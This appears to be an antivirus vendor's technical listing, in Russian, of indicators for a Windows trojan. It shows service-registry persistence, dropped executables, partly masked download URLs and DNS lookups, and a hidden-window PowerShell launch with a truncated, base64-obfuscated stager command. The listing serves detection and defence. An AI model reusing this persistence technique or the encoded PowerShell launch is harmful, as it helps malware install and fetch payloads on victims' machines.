Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\utildll] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\utildll] 'ImagePath' = '"%WINDIR%\SysWOW64\xwtpdui\utildll.exe"'
- 'utildll' "%WINDIR%\SysWOW64\xwtpdui\utildll.exe"
- 'utildll' %WINDIR%\SysWOW64\xwtpdui\utildll.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABFAHAAeQBxADAAcABkAD0AKAAoACcATwBmACcAKwAnAGsAOQA0ACcAKwAnAGMAJwApACsAJwBjACcAKQA7ACYAKAAnAG4AZQAnACsAJwB3AC0AaQB0AGUAJwArACcAbQAnACkAIAAkAGUAbgB2ADoAVQBzAGUAUgBwAHIATwBmAGkATABFAFwAZgA1AF...
- %HOMEPATH%\f5_xrfk\utd0lgk\wjcck_u32.exe
- %HOMEPATH%\f5_xrfk\utd0lgk\wjcck_u32.exe
- %HOMEPATH%\f5_xrfk\utd0lgk\wjcck_u32.exe в %WINDIR%\syswow64\xwtpdui\utildll.exe
- %HOMEPATH%\f5_xrfk\utd0lgk\wjcck_u32.exe
- '19#.#92.39.136':80
- http://c.#####tgagegenius.ca/lib/0sbH/
- http://19#.#92.39.136/h6yJ88jrpM/
- DNS ASK gu###smart.com
- DNS ASK na##svn.com
- DNS ASK c.#####tgagegenius.ca
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABFAHAAeQBxADAAcABkAD0AKAAoACcATwBmACcAKwAnAGsAOQA0ACcAKwAnAGMAJwApACsAJwBjACcAKQA7ACYAKAAnAG4AZQAnACsAJwB3AC0AaQB0AGUAJwArACcAbQAnACkAIAAkAGUAbgB2ADoAVQBzAGUAUgBwAHIATwBmAGkATABFAFwAZgA1AF...' (со скрытым окном)